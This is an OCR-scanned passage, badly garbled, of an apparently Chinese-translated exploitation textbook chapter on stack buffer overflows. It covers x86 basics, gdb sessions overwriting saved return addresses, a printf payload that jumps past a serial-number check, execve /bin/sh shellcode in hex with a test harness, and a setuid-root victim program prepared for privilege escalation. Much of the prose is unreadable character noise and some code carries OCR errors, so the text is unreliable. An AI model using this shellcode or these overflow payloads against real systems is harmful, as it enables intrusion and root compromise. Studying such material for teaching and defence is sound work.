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TEMAT AW MBSO, 0K £ A8 M 2 A7 38 . RTTA323R UL, S0 % A48 EL ¥ EAX. EBX
MECXEHAF R, —BHRBAEEIAMAE . B L, T ERIBIIRAE.

TRATHE 585 R 95 A7 B8P (04 RARAR 4t % 77 B mse (HRRpARAR4D). mspift Bk, th
BT AT RS RO AL . O T SRS AOARAS Y, AR KT A R P
IR A RAMESP LS ESPU T FAFARTERR bR .

BT AR AR, RIAS2EIABRA M F IR A4, BAFRRL 16000
CHAbI AP A7 8823240 ) . BLAFTEB8Cs. DsFiss— AT IENE A2 3%, ()G HEA 1661
ikt

PRI IR TR A EL 28 O BATIRR . X TFIAKBE, b BEEMR “¥ IR
E1p (RN “TRAIRE"). EIpRRAFR T A EEHAT PG © bl WIRIRARIE HIRE
FERBITRAR (R MRON AL —), AT LA R SR AE 7T e P (1 hHe 2 86/ i A1

“JCAth” AT BRI T TR R AR RS P EARE AL “F @RS (BFLAGS)
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HER BHARERESEAL, B TR BIUT & FIGRM SR . u
WEBFIFERIT, WRATLEICRRIET .

1.2 RBICHRIES ER C 70 C++R53

CRIFFLEE (Cy Cr. OB RBSIRSZ M —KHFE S, I H LR WindowsHIUNIX
RS ARLTFAE RS MG RLE S, MIXPRNHRF ERRARENX 2. Wik, ¥HECESE
KREE,

BRCIEF SN, A R % B CIE Y I T 518 0 3 BT 9362, JFFRAR AT FT SR TE
FORCAER . HREF. BEMAGEIRE. $RXEANAEEENE IR0 %,

RAVEA L% WA CRICHARTD K3 R IC GRS . S IRR SRR AL e 7, T4
AT LAkY AHRHEEAET .

S — T ERECH AT — AN F S .

int number;

.. . more code . . .

number++;

AR R R AR

number dw 0

. .more code . . .
mov eax, nunber
inc eax

mov number, eax
LEXAMIF ML, SEHiDw (Define Word ) §§4 5 X ¥ ¥number, AL EMAEAX, HFiEEAX
i, AR EHEEAXTHK A number o
FERA M RIRICH L€,
int number;
if (number<0)
«
. .more code . . .
)
FTAIZAX AN £ A0 BRI ARG o
number dw 0
nov eax, nunber
Soe tabel
<no>
label :<yes>
XA F R, RATH oWl 4 5 Xnumber, A& 77 i 7Enunber (8 ABAX, R
number K T34 10, $4T7IGE (Jump if Greater than or Equal, AT % F ki) BE#1apel.
BT RA— MU R B 7
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int array(4];
.. .more code .
array(2]=9;
LEXAIT R, BATE L — AN TCH M array, HHER P TCHB L, HINH
AR T
array dw 0,0,0,0
.more code .
mov ebx, 2
nov array(ebx],9
FEXAMIFE, RATEYT AR, RIEEL ErxIEF B BN AL .
B, FRE A EEANPIT, BERAMIT, KRBT HR N CR R N TR
o MR LSBT, 8, RALUES F—8T!

int triangle (int width, in height){
int array(5] = (0,1,2,3,4};
int area;

area = width * height/2;
return (area);

)

FRRFA—A R, EREURICROERERY. THRodERBHHMH. gablt GNU
MYIFR VMRS, 7Ehttp://www.gnu fon/ b AT BUKEE £ KT BT
Ko BHRAETIE FEICHTT S SCRTIR AR :

0x8048430 <triangle>: push Sebp

0x8048431 <triangle+l>: mov. %tesp, %ebp

0x8048433 <triangle+3>: push %edi

0x8048434 <triangle+d>: push %esi

0x8048435 <triangle+5>: sub. $0x30, ®esp

0x8048438 <triangle+8>: lea Ox£EFFE£A8 (Sebp), %edi

0x804843b <triangle+l1>: mov $0x8049508, $esi

0x8048440 <triangle+16>: cld

0xB048441 <triangle+17>: mov $0x30, Sesp

0x8048446 <triangle+22>: repz movsl ds: ( %esi), %es:( %edi)

0xB048448 <triangle+24>: mov 0x8 ($ebp) , teax

0x804844b <triangle+27>: mov %eax, $edx

0x804844d <triangle+29>: imul Oxc (%ebp) , $edx

0x8048451 <triangle+33>: mov $edx, teax

0x8048453 <triangle+35>: sar $0x1f, Seax

0xB048456 <triangle+38>: shr $0x1£, $eax

0x8048459 <triangle+d1>: lea (%eax, %edx, 1), %eax

0x804845¢c <triangle+dd>: sar teax

0x804845e <triangle+46>: mov %eax, Oxff££££d4 (Sebp)

0x8048461 <triangle+49>: mov oxfff£££d4 (Sebp) , Beax

0x8048464 <triangle+52>:  mov  %eax, beax



0x8048466 <triangle+54>:
0x8048469 <triangle+57>:
0x804846a <triangles58>:
0%804846b <triangle+59>:
0x804846c <triangle+60>:

add
pop
pop
pop
ret

$0x30, Besp
tesi
vedi
tebp

XA RBCEERAB AT, P R AR Tl S . BEERELAHES——
{R4FEBP, MESPIRZ:. IXANWRERIEEEE N BB A AR LI —Yesn. H8 R
R, BRI SRR IERRX A TP L.

1.3 G

KA T SR A A FTR AR, IR R N PR A R
TEHURCHCHIEARE TR, NZAELN ] % ) R AR, AR, A REse eRamA

BIEEAR.



How

) i

}‘ Wik b, HeBphXaE— R AT . RITERBEBUNLLENEZ —. €4

Mk, BAOGFIRLETR T FHEEM ARG LR ER. B
SIHL T e B S A T VR AR t IS0 # A2 Aleph One’S F19964F 316 PhrackZt % £ R £
“Smashing the Stack for Fun and Profit”. 34 3T 55— YT 340 T4 3R 1 408 X 86t 0 1 JE A
PR ERERI A EANT . BRI — N REIEPhracks & EMIESC, 2 Whttp://insecure.org/stf/
smashstack.html.

H 4 Aleph One's T “Smashing the Stack for Fun and Profit”, {H#s i} AS e flh BB, 76
IXRCTER AW FHERT SRR, MR th RIFUH 7 ikt B MANA A T MBS LUF, ARt
JEAEBACE 5 B LTI LR, XHRRR B A ED2SE T REETRALETH. B2
TR, (HEARI AL, FEWA AT R, (VRTLLE B 0 5. RS2 B
LRGP, B B LR A R AL RS R
21 ZWRX

CEPR” BRI AN ATER R, ECHE S, O X R . AT
LENMARBARKIONE

BOBECTICHEF B, WATH ISR A QPRI RPN TE S, T AR NS A b T . Bt
Bl CVEE RIVEAT BT HLBIRIGIR ST HIBIGE 0P X AR AR R TR X KA

Mk, WURFY SR AT S SR AL KRR ORM, MK B % KN, Haum
BT, WSS AR . EAFREARTRERAR],  HMANER
AR (R, A2 SN AT T AR . RATEA A XA T 3 I ZEBR AN 5L
ORGP X BAT AT AR (FEA RPN LT LR B BT, DURICAR AT B
R

#include <stdio.h>
#include <string.h>

int main ()

int array(5] = {1, 2, 3, 4, 5};
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printf(*sd\n", array(5] );
}

TERAGIT R, BAEACEX T — MR ESNTRENE M array. FHRIER, RITHEL

T CHERGHRMHR: BT EEFSDTROBANZLICHKO array (01 FF 4, LTTH4
array (414K BBl %farray (51HEES M CHMIHR, 05 LR M T HANTEE, EhH)
“I6N” TLH T . gockFBMAMENBAREIXAHEIR, BBTH LB EATRNLER:

[ON

shellcoders@debian:~/chapter_2$ cc buffer.c
shellcoders@debian:~/chapter_2$ ./a.out
134513712

AT R, HCRARBNRRFHUBIN, St g X SRR R AR A S
B, SMAREEERINENROEEN GXRERATIERD, SRAEFAR? RATZR

RSB XTEH 24, BRAREMNA.

int main ()

«
int array(s);
int i;

for (i = 0; i <= 255; i+s )
«
array[i] = 10;
)
3
R, IR AT BRI UTATE 45 R B (A SPITI, AR5 T .

shellcoders@debian:~/chapter_2$ cc buffer2.c
shellcoders@debian: ~/chapter_2§ ./a.out
Segmentation fault (core dumped)

SELAEIZKY, RATAT LAHENIRL Y B4R S AL AL A2, SR AT IER I ZEIX, 7648

PRI IIBATIXARLIFIE, BTN 2 BB AT S B T ik (KA, BEPF 5L % 2R
BT, P, IS Sbug. LRI —loaoh LR

10)

shellcoders@debian:~/chapter_2$ gdb -g -c¢ core

Program terminated with signal 11, Segmentation fault.

#0  0x0000000a in ?? ()

(gdb)

NI, BAVE BIRFLERBEN, & EERITHihE0x0000000a (-1t iRt &
4 A R R TEAR S S TN AST 4 o

R, WA, WURAEFFRAE S N B ST G R, L U AL Al AT

BUBA GBI (BINTCPAPRSIRBIZ /) B NER, SRAAT4ame?

P GAAEA S AT, A SR BN B8 ST R BIZErIX, AS A TR AT e 2> IR T«

JH P SRR AT e DV R R e . TR T AT e SBR[ 45 L, LSRRI 1 R e )
FLIFPAT PR R BATHR R REDX L R R MO0, (ARSI RAT MR 3 I L
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W, EA A TR A I T RS RERE AR LA BB SR IX .
22 ¥

BOBIFRHRIAAY, HR NLIFOYURSH, AR HE/T ZN BT, BEK
RS HIL S B BARIRE (sP) FAFERREN, EIRMARTI. pusafilpop
R RINRIES, BB Ese T BARG T WM LA L. VS EMEREME (1
FHRFINIAIL), ESpiRAEE M RORAL. EIMEE A R L, Al ER R A
[iozie

PUSHILHCRIE AR, POPIEMURHM IR, XPIAIE S MEL AL IAL, AATAEHRMRIT
Ho LRANMENATPUSHE, HR WAL,

push 1
push addr var

P AIRSEUENME, B ARSI BvaRI AL IR AR L. PIRIRSPUTE, HRmfi
JAtBE2-1 577 e

Mkt | {1

643410h | & RVARFHuiE <«— EspHi XA A

643414h 11

643418h |

Fe2-1  EHIREA

ixit, Eseif BRI, Mk 643410n, ORI HAT HIUFIEAKR, B HERARRL
IAJG HON I R RvARMIMAL . 24— % puSHIAT T, ESPELIRMAZMILHLR M 224, F HILIXADRF

MO BIESPIRAF I HT AL 1L

FOMAARAEEAR L B TR, XE i pori &k oe . A4k ETME) £, MR
R FRAT M4 -

pop eax

pop ebx

ok, JHPOPIAR T (sseRifitdl) SHIFIeax, % FREUMATrOP, (HIXULICHIH
S ERx. ARILTEMRAT R W 2-2577R .

kel figgnii, pop R MASESPIUNL, TIAKE sRMBR R bR, & FURHER A Sk 52
B B, AR T L, S A VAR i 8T R Blmax, BEAT 182 I # EBX

AR A 7788 S EBp. EBPIRTAARMRAREN, W LLe b Shh R ST AL AR sk,
RAUCEHL “Wiket 7. AT LEEBR Y M A2 3 RAEM, AL L 1, EBpidL 5
faAf K. Tl S tesplE b #R 51
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mov eax, [ebp+10h]
REAESEARIER FWEB Gat, RiTFHEK) 16B (HABHIFIRZ100) LHIIF
KR F Bl EAx.

bk | 4

643410h | ZRVARA AL

643414h 11

643418h | <«— Espiffikihl

E22 S HEOR

RIS

AR F 2 H R T EH M R 8 WRER, R UCERIFHRAT IR, K,
—HARY (B—4HRA) ATl X RF R ALY BARAT . EREMRE, R EHATL ARG,
HHEEER S e WA . L, R LR E AR

RAVEA DRG], BN BERAE .

void function(int a, int b)

{

int array[5];
)

T 0
function(1,2);
printf(*This is where the return address points");

)

EEANGIFH, REHARUToain RIS, BB EORAR, RYHWTIEN BIBATH
BT MO RTIAL R, AREPAT function B I9HEQ . MARBKIOELEEL T Hokd
functionff)B¥aMbIEAK, Z/5, AWML, LeRBHEEMAE (WReT, RETELRIFH
AL PR ot (9 A et EXPRMEE) TEAM (FEXAMPIFHE, printf ("This is where the
return address points") MIMARBEARD, 2RJF AR %

RYEAEAAT functiondfi A 2 AT A AT prolog. prologfEHk 77t —6fl, {1 R4
PATERH b TR SRR LA, BAIBCEERpIM, HEBPR YRR . T
BAHFTLEHIR, BT i Smain M fuht, RATERABGEMERPIONT. — BEBPRIMBENR,
prolog At X4 ket ¢ e il Flms, XRYAE VA FH B8R FU A 1L 2 ch BA T AT LA (il 5| FH A ik
I
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He#5, prologil # functionffy MR RAT R B HHE A M AR LEVIREIE ), ARUE MESPIR
FARMAAN, HFUFRE VL ERZER. BJF, prologiti functionfHHAERt (#EX L Rarray)
FEAE, w2305,

e fesaat, B
Bl
EBP
RET
A
B
R, HR

E2-3 A RBURRAR

XA, HRBE A R B BRI AR TERARIEAR . 8Tk, RATRMILGM
FREE STIXAMIT o il fr & 4RI A CRR A

shellcoders@debian:~/chapter_2$ cc -mpreferred-stack-boundary=2 -ggdb

function.c -o function

Bk BA VAR LL G VR (R 5 3 g bR, BRI, ZERPERT B T -goanib B WABEN %
A PR SEARZ TR T, PRI e AR DU 15 SR (SO0, W, geckfRPHREATIRAL,
AE PR B A, HedbinEg R R F

shellcoders@debian:~/chapter_2$ gdb function

GNU gdb 6.3-debian

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU Gemeral Public License, and you

are

welcome to change it and/or distribute copies of it under certain

conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show warranty® for

details.

This GDB was configured as "i386-linux”...Using host libthread_db

library */lib/libthread db.so.1".

(gdb)
SR AT AR SR SR Y B B funce fonfty . RICHmain:

(gdb) disas main
Dump of assembler code for function main:

0%0804838¢c <main+0>: pusk  %ebp
0x08048384 <main+1>: mov  %esp,%ebp
0x0804838f <main+3>: sub  $0x8,%esp

© I -g. — A
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0x08048392 <main+6>:  movl  $0x2,0x4 (¥esp)
0x0804839a <main+ld>: movl  $0x1, (3esp)
0x080483al <main+21>: call  0x8048384 <function>

0x080483a6 <main+26>: movl $0x8048500, (%esp)

0x080483ad <main+33>: call 0x80482b0 <_init+56>

0x080483b2 <main+38>: leave

0x080483b3 <main+39>: ret

End of assembler dump.

fE<main+6>fl<main+14>47, B (ox1Mlox2) WHASFEAKR. f<mains21>, call
#H4IERET (E1R) A CRAATE WA W B R R, B, cal LIUHATEBIRU 4 fr
T0x8048384 ) functioni#l. A RICH functionill, WP A EIEEFIXY J5 R
THaA. :

(gdb) disas function

Dump of assembler code for function function:

0x08048384 <functions0>: push  %ebp
0x08048385 <function+l>: mov  %esp,%ebp
0x08048387 <function+3>: sub  $0x20, %esp
0x0804838a <function+6>: leave

0x0804838b <function+7>: ret

End of assembler dump.

AT, funceionfyshiENUURYI M array, FFEABILMAING, BT LR R
AR LA o, JE R IR 44 I B 3 Fprolog LA R M BIRUAZ i #ma infU B . (EIXIE,
prolog ¥ SE4E 24 A4 EBPIE A Bk: 7E<function+1>4b, prologit 4 i Ak Hél & e, &
Ji» fE<function+3>4b, prologfE bk b RMA Ftarray B 28545 R . ZEXAM 71, array
IR/ ES X 4B (20B), {HFRGEH A A ik SMiE T 0x20 (30B).

2.3 KREMERXES

BUAE, VRIN% 1R T ARGELE TR e M 2 TR LA, LA I B A Lo AR A R e
FEARTT, WAV A7 5] 23 2 MM BAGEIX R, GhobX L &R AT L. 76T M T R4
SR B, BATIE T LA ST A DAV Iy B —— R QR X e ), R R
IR

SRA A F, ERAMIT R, REECH P A AKX, RS Elstdout.

void return_input (void)

(
* char array(30];

gets (array);

printf (*¥s\n", array);
)

main()
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return_input () ;

return 0;

}

AR R P T LR B MR, ROV RS T T R
shellcoders@debian:~/chapter_2$ cc -mpreferred-stack-boundary=:
overflow.c -o overflow

AT, WA—SEOR, MEEFNETNR. 4B WS, BA101A.

shellcoders@debian:~/chapter_2§ ./overflow
AAARAAARRR
AARARRAAAA

BMUBICRIMANEIRE N T, —VER. RN TR, S X (K
Bl B AN R R

shellcoders@debian:~/chapter_2§ ./overflow

-ggdb

Segmentation fault {core dumped)
ARHFEL, BT segfaul eifif. HENHALKEENR? ILRITHGDBENIIA.
B, FHFGDB:

shellcoders@debia

/chapter_2$ gdb ./overflow

SF Freturn_input () ¥ RAVEIEW Hgets () MM Mgets ()& [F 1 Ha 7 4 1 57

(gdb) disas return_input
Dump of assembler code for function return_input:

0x080483c4 <return_input+0>: push  %ebp

0x080483c5 <return_input+1>: mov  %esp,%ebp

0x080483¢7 <return_input+3>: sub  $0x28, %esp
0x080483ca <return_input+6>: lea  Oxffffffel(3ebp),%eax
0x080483cd <return_input+9>:  mov  %eax, (%esp)
0x080483d0 <return_input+12>: call  0x80482c4 <_init+40>
0x080483d5 <return_input+17>: lea  Oxffffffel(%ebp),s%eax

0x080483d8 <return_input+20>: mov  %eax,Oxd (%esp)
0x080483dc <return_input+24>: movl  $0x8048514, (%esp)
0x080483e3 <return_input+31>: call  0x80482ed4 <_init+72>
0x080483e8 <return_input+36>:  leave

0x080483e9 <return_input+37>:  ret

End of assembler dump.

AL EIBI 4 WA H59, H5IRE Xtgets () Mlprint () M. 7EERMINZE R BAF
T “ret” $54, BUL, AR gets O MR “ret” 4 LB EN .

(gdb) break *0x080483d0
Breakpoint 1 at 0x80483d0: file overflow.c, line 5.
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(gdb) break *0x080483e9
Breakpoint 2 at 0x80483e9: file overflow.c, line 7.

BAE, BATRAEE, KRB AN A4k

(gdb) run

Breakpoint 1, 0x080483d0 in return_input () at overflow.
gets (array);

BAMEEF — PRI R E AR, BE%E — Frain() RER N AT
(gdb) disas main

Dump of assembler code for function main:

0x080483ea <main+0>:  push %ebp

0x080483eb <main+l>: mov  %esp,%ebp .
0x080483ed <main+3>: call  0x80483c4 <return_input>
0x080483£2 <main+8>: mov  $0x0,%eax

0x080483£7 <main+13>: pop  %ebp
0x080483f8 <main+1d>: ret
End of assembler dump.

HERL AT Areturn_input () 2RI S Ml R 0x080483£2. LRATE TRy
. etk IKRAER gets () BRI L4 Areturn_input () Z B fH7%:

(gdb) x/20x $esp

Oxbffffag8:  Oxbffffaad 0x080482b1 0x40017074 0x40017a£0
Oxbffffaa8:  Oxbffffacs 0%0804841b 0x4014a8c0 0x08048460
Oxbffffab8:  Oxbffffb2d 0x4014a8c0 Oxbffffacs 0x080483£2
Oxbffffac8:  Oxbffffafs 0x40030e36 0x00000001 OxbE£££b24
Oxbffffads:  Oxbffffb2c 0x08048300 0x00000000 0x4000bcdo

RME, RAVWIA BIRAF MR RAF IR [ (RET). % TR ER B2, RATHM
AICEAHER AT P ARIRHR T o 407 LA BURA7 IR Bl ol iF 46 19 0x080483 £2, X MusE
A ¥ fireturn_input () 2 Gfimain () 8, KERRIFMN . BRAKERITEANEF, 8@
NAONELF I FAT

(gdb) continue
Continuing.

Breakpoint 2, 0x080483e9 in return_input () at overflow.c:7

7 )
FTRBAME 1B =AW TEreturn_input () BN “ret” 4, HAIFIERBOR R
F— TN
(gdb) x/20x OxbEEE£ads
OxbffEfag8:  0x08048514 Oxbf£££aa0 0x41414141 0x41414141
OxbffffaaB:  0x42424141 0x42424242 0x42424242 0x43434343
Oxbffffab8:  0x43434343 0x44444343 Oxaedddase Oxdededcas
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OxbEfffacs:  OxbELEEa00 0x40030e36 0x00000001 OxbEFEED2A

Oxbffffads:  OxbEEEfbac 0x08048300 0x00000000 0x4000bcd0

PR R A U EBPRRAZ IR I EAR IR T o R, EMNENBRRINBANFR
HHRRFHLE T, 0x44444444% “DDDD” M+ AHHHR . B FHTEE “ret” LM
SRAEMN A

(gdb) x/1i Seip

0xB04B369 <return input+37>:  ret

(gdb) stepi

0x44444444 in 22 ()

(gdb)

KEFT | BATESMOIAT T EF75 B I E il b 9 RF . P2-487R T fEarray it 5
TRt e

fEAFEHAE, I

AAAAAAAAAAABBBBBBBBBBCCCCCCCCCCDD | #4L (30 FHF+2MAKFH)

DDDD EBP
DDDD RET
AL, R

24 BB G S AT T R LI RROE

HIR2BIFEHA I ARGEPITIN . RAOTAE T fefkeseitiiihl, EILERL QST DDDDI+A
BB FREM L, RATH Y 4oooDlI T KT T RET. HIXAREORHI,
B AE R AERET L ) (i ——IRAE S 0x44444444 (DDDDA-HARIERIERD, FH X EBREIX M
Hko AREIXANMBE AR R — AN RIAL, SE AT TRARY B ML AE ), BT AR o T B st
#l,

=4 EIP

WA, MR AR TR IX, JFEE T espAIRETINA A, B, WK E
BWFlETe. MM, (EXFNR T ALY Wi, AR ERE, i LSRR &
ARSI, ASBRATH T CURITH RS AT IR 4 it 4R, ERXEIXMEFIFARE, B
PCRAVRARLESS F7, BRI BATIR, R MRFEIp BT (RIS RED.

ALRTTE) T, IXKADR CIEFEIRMEEARBED . IX et hilAs S A G 2804 U5 R AFAE R
MK EBPRIRET, M RY ML LEUHRETIIIOIF BT, X hbH 6 3 SR AT
XA MR R T SRR R AT R

T EERRT I BATIRR, W R B AT A A TEX AL, AT Jﬁ#ﬂﬂh‘iretum input

© ixit, erpBRAEMNZERIEF K., —
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b AR Flmainf it . UL, 5 3hgdbF 4k H return_inpuc i
shellcoders@debian: ~/chapter_2§ gdb ./overflow
(gdb) disas main

Dump of assembler code for function main:
0x080483ea <main+0>:  push %ebp

0x080483eb <main+1>: mov  %esp,sebp
0x080483ed <main+3>: call  0x80483cd <return_input>
0x080483f2 <main+8>:  mov  $0x0,%eax

0x080483£7 <main+13>: pop  %ebp
0x080483£8 <main+1d>: ret
End of assembler dump.

BATEBRER il AL 0x080483ed

MR AR RGAG LR T A SRR —F R4k A% L éhreturn_input
Wik,

A4 0x080483ea N AESE e APRME O ASCITFRF , IR SR — AN IR ML A7 14
Ao WRJE, ATCAIRBUXAMF IS, FHETHEIGNKX . RATT LU Hbash shellffiprintfef
B, R print £5 T A B0 AR . AR S RB M AR

shellcoders@debian: ~/chapter_2$ printf “AAAAAAAAAABBEBBBBBBBCCCCCCCCCC®

| ./overflow

AAAAAAAAAABBBBBBBBBBCCCCCCCCCC

shellcoders@debian:~/chapter_2$

AR, TURHRFOAERELT 8, MR A return input () MiAE S RAER
pAAEEiE
shellcodersddebian:~/chapter_2§ printf
. \xed\x83\x04\x08" | ./overflow

<

VER, FUPRYGRE T FAF 8 . RAVRIIEAREFIAT T HTe R tht . B058, Azl
T RERS 30—

24 BHBHEIR

SRR KIS R IELE B AR BRATIOEFRIREY, WA AR 2R
fife XV AR B, FTIHERAT BRI (3 B B ARRF AR RS RRES T, RIRRAIE
AT 1 F AT B AR AT BRI AR TE HARRE PP AR, Ab AT REEA 24845 A
PO shel WL o VF 2 B AHLAIRTE MR FIBTRR P AT “AER0” AU fn SRt 3 e AL
TR FAREE P o DR BRI FARINE, SXLepy i (B0, N"X. Windows DEP)
RIS S R
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RATRAMF XA - MER, CERAZHFERRA -NFAS . BRXDRFEM
WA MEKNFT SN 2R AR . RATAT CUE R TFAERA SR 0755 2 5 3k 5)
“IEHIH” RETBORA R — N BRA KM <P XA R 8 i — A
HR, HEAMFRYIE BT CRIRINE B, R @SBl & w0k T st
RBT.

R AN

// serial.c

#include <stdlib.h>
#include <stdic.h>
#include <string.h>

int valid serial( char *psz )
«

size_t len = strlen( psz );

unsigned total = 0;

size_t i;

if( len < 10 )

return 0;

for( i = 0; i < len; ivr+ )
if(( psz[i] < '0' ) || ( pszl(i) > 'z' ))
return 0;

total += psz[i];
}

if( total % 853 == 83 )
return 1;

return 0;

}
int validate_serial()
{
char seriall 24 ;
fscanf( stdin, "%s*, serial );
if( valid_serial( serial ))
return 1;

else
return 0;
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int do_valid_stuff ()

€
printf("The serial number is valid!\n®);
// do serial-restricted, valid stuff here.
exit( 0 );

)

int do_invalid stuff()

printf(*Invalid serial number!\nExiting\n");
exit( 1 )7

int main( int arge, char *argv(] )
«
if( validate_serial() )
do_valid_stuff(); // 0x0804863c
else
do_invalid_stuff();

return 0;

)

R AMEFIHETE, ATLEB SRS A GISYFFIS H KR4
ANERY RAERH, SRARHTTRRIT A

WA Bgab, MATLARE] “FESISHN” HARTEREL:

shellcoders@debian:~/chapter_2$ gdb ./serial
(gdb) disas main

Dump of assembler code for function main:
0x0804857a <main+0>:  push %ebp
0x0804857b i mov  %esp,%ebp

0x0804857d sub  $0x8,%esp

0x08048580 and  $OXEEEEEEEO, %esp

0x08048583 mov  $0x0,%eax

0%08048588 <main+ld>: sub  %eax,%esp

0x0804858a <main+16>: call OxBO4B4£8 <validate serial>

0x0804858f <main+21>: test %eax,%eax

0x08048591 <main+23>:  je 0x804859a <main+32>

0x08048593 <main+25>: call  0x804853e <do_valid stuff>

0%08048598 <main+30>:  jmp  0xB04859f <main+37>

0x0804859a <main+32>: call  0xB04855c <do_invalid stuff>

0x0804859f <main+37>: mov  $0x0,%eax

0x080485a4 <main+42>: leave

0x080485a5 <main+d3>:  ret

M T FRA T LU ) 8l validate_serial HIUS RIMIR, LUK do_valid stuffEl
do_invalid stuf M9V . 0SEHE M B IFHE(RAPIE [E ikt B2 90x08048593, BRAESERL/T
ISR,
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HTIREIH A, P Mbashfprint£2hAE GEfE, PATA32418 Rlittle-endianfty, HTLL
FHFRIED . 5 24BN F5 S 1N MARIE T serial i, ATLGH):

shellcoders@debian:~/chapter_2§ printf
. \x93\x85\x04\x08" |

./serial
The serial number is valid!

MfE$R—F, AF1% “HHHHHHHHHHHHH” (1I34NH) BT LT, (ERATEAHEE
HEH, ARG?)

2.5 FIARBRSRIFR

BUAE, R EMRAMLE I T . BRI overflow. cERAY— YA A BURM Uik HEL 8
RS AREVRIOMAA: “8, B, Rib—AMHGISITOMEFEETRBEIMAL” X,
RATAAE Y LIX TR,

XA R BADRREBUR (uia 0) HEAL, RATAT LA BURAF AU AT Mk Rk ik
FUXAF Mo R LARIZAT, BATH AT LUE I 48 3RS e AT shell,  1fiiX 4 shellFs 4k A& R
HERL, BRATRSFEMTIE ) shell. MZEASH, A 44 HRIAT, FRKREE K%
R FIRLEAE LR BUZAT, ERARENIZIE, ROFAE A (ARSI BUFRIE
AR

L BA RIS R, AT AR IR A AR shell, JREETETA TR E AL RBAR T
o AR ATLUXRESE, IRAARshell U320 WL R I8 5) T FERR I BAAR 7 72

Rl BT, FRIRERshell KR T execve REWMM . Tl R IR Eshell FIC
AR5

// shell.c

int main(){
char *name(2];

name (0] = */bin/sh";
name(1] = 0x0;

execve (name (0], name, 0x0);

exit(0);

}

HIFRIEITE, RAVEERFIRA T —shell.

(Jackeoday locall$ gec shell.c -o shell

(jack@0day locall$ ./shell

sh-2.05b#

PRAT AR “AM T | B ASECHAIDHH NS (9 ZrhbXNE? 7T LU AT 7 FFA R
Ji? 7 AR K. WACHAMEHMATHAZRRE, Ak Mok K
i AHL3 44 Copeode)s [ illopcodefl AR IPIX , A AIEIR ARG RS,
AU IR I 44 4 o $ Hlopeode. IX EEHEFK Hysh BRopcode ) AUHS AT LLE A M
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WK, HALMAT. (B2, BEkAS MRS, RIVEAENHETNMBINTKARTFH
jor:H
X, EREEARCRIGE Yshellcode. AR LLBMMM BN, HEBIFERMNG.
HFHHEEATH . IREshell FICHRFSshellcode# 7R «
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\xB9 \x5e\x0B\X89 \x46"
"\X0C\xb0\x0b\x89 \x£3\x8d\ x4\ x08\x8A\x56\x0c\xcd\xB0\xeB \xel"
S\XEE\XEE\XEE\x2£\x62\x69 \x6e\x2E\x73\x68" ;
A=, FBELTRTCHIFARENIIM. HF FEORBE, S8 LFRITIITEA
shellcode:
// shellcode.c
char shellcodel] =
"\xeb\x1a\x5e\x31\xc0\xB8\x46\x07\xBA\x1e\ X8 \x5e\x0B\xBI\x46
\X0C\xb0\x0b\xBI\x£3\x8A\xde\x08\xBA\X56\x0c\xcd\x80 \ xeB\xel"
P\KEE\XEE\REE\X2E\x62\x69 \x6e\x2E\XT3\x68" ;

int main()
{

int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}

BATZRIB

[jack@0day locall$ gcc shellcode.c -o shellcode

(jack@0day locall$ ./shellcode

sh-2.05b#

OK, KT ! RAILTAT T T LR shell fshellcode T, T H 7T IR 7% 5 3 N\ B
SIHILRIRR o X —HIRM . 24 T HfTshellcode, HFEIRAUFAIPATE ] RAVALAR
Tk R B RG , EAMEFR, ROVBERA IS SRer, WRerE Kbk H N
BFRTPIAEMEWHAT, RIMIRGIFE P E LT RYIIN . WA, X BPOLH24akk
ERETHE? X, Fishellcodeff)sh— 44 MMihl. XFEMIE, MreTHE HARIBINRTETeR,
FRYHAT 94 Keshellcode I 55— Hc i 4.

AT RRERAARNT N, (PRSI RAA LR, MRAEX AT, %I MEEAR
BN YRR T BRI T % AT AIARTEIRE R, RAOVERM RS EE R 8.
251 ibhtiEE

R AT P SR AZ fshellcodelty, T AT IKS fy 4ok PRk 1 i B2 4K i shellcode @ itk . 31X
SRR, AR T RE A ERM GO FUE, RV —Fr AR %

LEREH T Hishellcode R M BE AR & 7 8%, HhZ — RN M. o AT LUE L
SRHEAT R, DR 0 AT G AR (0 R A DL RO (R M TF 2. (R B MG R M BRAE R S0
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RN, MTIEXFh AR BB G E R . £REEWLinux AR, XE—
ANTTHER AT ) AR A XA ML, B4R % AT LURYE X A b 5§ Wshellcode 2

sEHudk .

B—RE LRI ese B K B L ADEE S . MREIE T eseltyiuhl, 25T LURSE
XAl 3K 0 24 B M ik S shellcode Z ] MR B B S o X AMRESHF Rshellcode ) 8 — 4 4
ED

B, Kiieseiiht.

// find_start.c

unsigned long find_start(void)

«

__asm__("movl %esp, %eax");

}
int main()

printf(*Ox#x\n*, find start());

)

SR FEFIBATIXA BT LK, AT LA E]:

shellcoders@debian: ~/chapter_2$ ./find_start

OxbEEffads

shellcoders@debian:~/chapter_2§ ./find_start

OxbEEEFads

shellcoders@debian:~/chapter_2$ ./find_start

OxbEEE£ads

shellcoders@debian:~/chapter_2§ ./find_start

OxbEEEfads

RAVKEAEDebian 3.1r4 LEATH, Bk, KEREWNE, KTRSGIAFOLR. WR
PRvE RCEVRE P4 3 R — R, AT RERRORAT I IE T i) R grsecurity #h T (AL
) MRATAR. WRREFXFNETE, TR IEIREIHLES LR ORI, 0581478 T R
HUKABHLA R . TR, BRAVBBARIEAT 0 A — Bt Ak AR A

TSt — AR F LR T«

/7 vietim.c

int main(int argc,char *argv(])

{
char little_ array(512];

if (arge > 1)
strcpy(little_array,argv(1]);

)

BF A SATREANG, 7EBABATIAFRAMT LT, EMALIREHBIA. TR
THRIERL Sedt BARRLIFI0JR E B A roor, HHlsuialiiTFF. BEE, FRUMFEAS i OF
BRI BRRL, IFWMREANIET, BIGRN, WRRALH TR
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[jacke0day locall$ sudo chown root victim

[jack@Cday locall$ sudo chmod +s victim

B, JAHT “SZE#. A LA7Ebash 2 WA Aprint £y 4iBshellcode MBI H 4
TERE. HBR FEXEN G TS

./victim <our shellcode><some padding><our choice of saved return

address>

HC M RAE A AT T B B BCS RAPRR I R R . AT 8L, R
WMEEDRS2, FBHFARHKENFIE, HERAERIOTA .

KT bash ey &ARB M PCSEIER : 7T LUE T fEprine eRTTRR — 1S3 S SHE SRR
KR, EEERIEA R STSRAR, & TR

./victim $(printf "foo")

A Ailprintf i~ B F, G FEXEE:

shellcoders@debian:~/chapter_2$ printf "$020x*

00000000000000000000

